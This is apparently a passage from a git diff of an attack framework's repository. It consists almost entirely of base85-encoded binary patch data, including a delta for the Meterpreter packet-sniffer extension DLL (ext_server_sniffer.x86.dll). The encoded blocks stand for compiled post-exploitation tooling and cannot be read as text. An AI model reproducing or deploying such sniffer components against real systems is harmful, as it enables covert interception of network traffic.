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 B6&wHn diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index 2a99ab0b0f79dee8487a9c186e58cd588fadb595..c324791fe4620c383736c3dee79fcb154aece287 100755 GIT binary patch delta 34668 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 